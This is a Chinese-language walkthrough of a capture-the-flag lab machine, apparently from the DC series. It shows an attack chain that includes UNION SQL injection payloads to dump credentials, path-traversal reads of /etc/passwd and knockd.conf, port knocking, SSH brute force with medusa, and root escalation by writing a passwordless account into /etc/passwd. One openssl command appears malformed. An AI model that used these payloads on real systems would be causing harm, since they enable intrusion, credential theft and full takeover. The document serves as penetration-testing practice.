nmap 掃描獲取目標 IP 地址
nmap 掃描目標 IP 地址獲得開放端口:
這裏仔細看下,可以看到 22 是 filtered,80 開放,22 是被過濾這就很奇怪,針對這個,首先你得看下這篇文章:
保護 SSH 的三把鎖
不想看的看下邊:(強推看下原文)
簡單總結下就是:1.換端口 2.指定用戶登入 3.敲門服務
這裏重點說下敲門服務就是,你想打開 ssh 大門,打開大門方式是念咒語,你得先去打開其它幾扇門纔可以打開 SSH 服務,敲門服務必須安裝敲門守護進程 knockd,敲門配置在 /etc/knockd.conf 文件
好啦,帶着上述知識繼續上路吧~
瀏覽下 web 頁面:192.168.67.43
隨便點了一下,發現一些賬號,可能有用:
Search 搜索 Mary,跳出來的內容是剛剛的一些賬號
嘗試加一個單引號,搜索不出,再試試加個 #,頁面正常,所以此處有 SQL 注入:
Mary' order by 7#
– result 0
+Mary' union select 1,2,3,4,5,6#
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6#
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'),3,(select group_concat(Username) from Users),(select group_concat(Password) from Users),6#
得到用戶名和密碼:
admin
856f5de590ef37314e7c3bdf6f8a66dc
數一數是32位,可能是 MD5 ,去 MD5 網站解密,找了多家就這家好用
輸入讓你無語的 MD5
得到密碼:transorbital1,登陸網站
登入之後,細心的你一定可以發現上述 “File does not exit”
猜測存在文件包含漏洞,在 url 地址欄輸入:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/passwd
但,好像並沒有什麼亂用欸,也不能像上次那樣在日誌文件寫入 shell,建立連接,那該怎麼辦呢?可以想到這裏有 22 端口等待我們利用呢?但剛剛我們查看數據的時候,好像只有個 admin ,莫非,還有別的東西?
看看還有哪些表沒有發現的:
–查詢所有數據庫
+Mary' union select (select group_concat(table_schema) from information_schema.tables),2,3,4,5,6#
可以看到除了一個 Staff 數據庫之外還有一個 users 數據庫
–查詢 users 數據庫下的表
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema='users'),2,3,4,5,6#
有一張 UserDetails 表
–查列:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),2,3,4,5,6#
–查數據:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),(select group_concat(username) from users.UserDetails),3,4,(select group_concat(password) from users.UserDetails),6#
將數據保存得到:
從用戶名和密碼你會發現這個哥們是,是刷了幾遍的《老友記》啊!!!
回到前面,我們發現 SSH 是被過濾的啊,那怎麼進去?或者說?怎麼打開 SSH 服務?,這就要用到前面的敲門了。
文件包含查看一下密令:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/knockd.conf
可以看到,欲打開 SSH 的大門,需敲門:7469,8475,9842
敲門後,SSH 就打開了:
但是這麼多用戶我們應該用哪個呢?手工一個一個試可行但太慢了,可以用 hydra 或者 medusa
medusa -h 192.168.67.43 -U users.txt -P password.txt
等待爆破完成:
可以得到如下賬號和密碼:這些都是可以拿去 SSH 登陸的
分別登錄到每個賬號:
每個賬號 ls 都沒有看到什麼東西,那有沒有隱藏文件呢?
ls -la
發現其他兩個賬號都沒有 secret 這個目錄,只有 janitor 有:
打開看看:
cd .secrets-for-putin
ls -la
cat passwords-found-on-post-it-notes.txt
得到一些密碼:
繼續用之前得到的用戶跑一下這些密碼:
medusa -M ssh -h 192.168.67.43 -U users.txt -P sshdd.txt
得到一個新的賬號:
fredf
B4-Tru3-001
拿去登陸,這是突破口:)
ls -la 沒什麼東西,看來到這裏就是要提權了。
find -perm -4000
:沒有東西
枚舉一下 sudo 權限:
sudo -l
去看看。
cd /opt/devstuff/dist/test
ls -la
cat test
亂碼,這是什麼類型的文件?採取故意執行報錯的方式得知:
./test
原來是 python 文件,退回到上上層,看到有 test.py:
cat test.py
可以看到 python 文件後面可以跟兩個參數:作用是讀取第一個文件的內容寫入到第二個文件,而且運行的時候是以 root 權限執行的,什麼東西寫進去之後可以立馬提權的 — /etc/passwd
模仿 root 寫入即可:
echo "r00t::0:0:root:/root:/bin/bash" > /tmp/k.txt
sudo /opt/devstuff/dist/test/test /tmp/k.txt /etc/passwd
原來必須得要有密鑰纔可以登陸,否則不可以,我們知道 linux 的加密算法:明文密碼和一個叫salt的東西通過函數crypt()完成加密的,我們可以用 openssl 來創建一個名爲 r000t 密碼爲 123 專屬 linux 密文:
openssl -1 -salt aa 1234567890
cd /root
ls
至此完成了 DC 所有系列,well done!
總結:
1.SQL 注入2.密碼破解3.細心觀察4.linux 寫入 /etc/passwd 提權5.ssh 敲門服務6.ssh 爆破7.隱藏文件8.openssl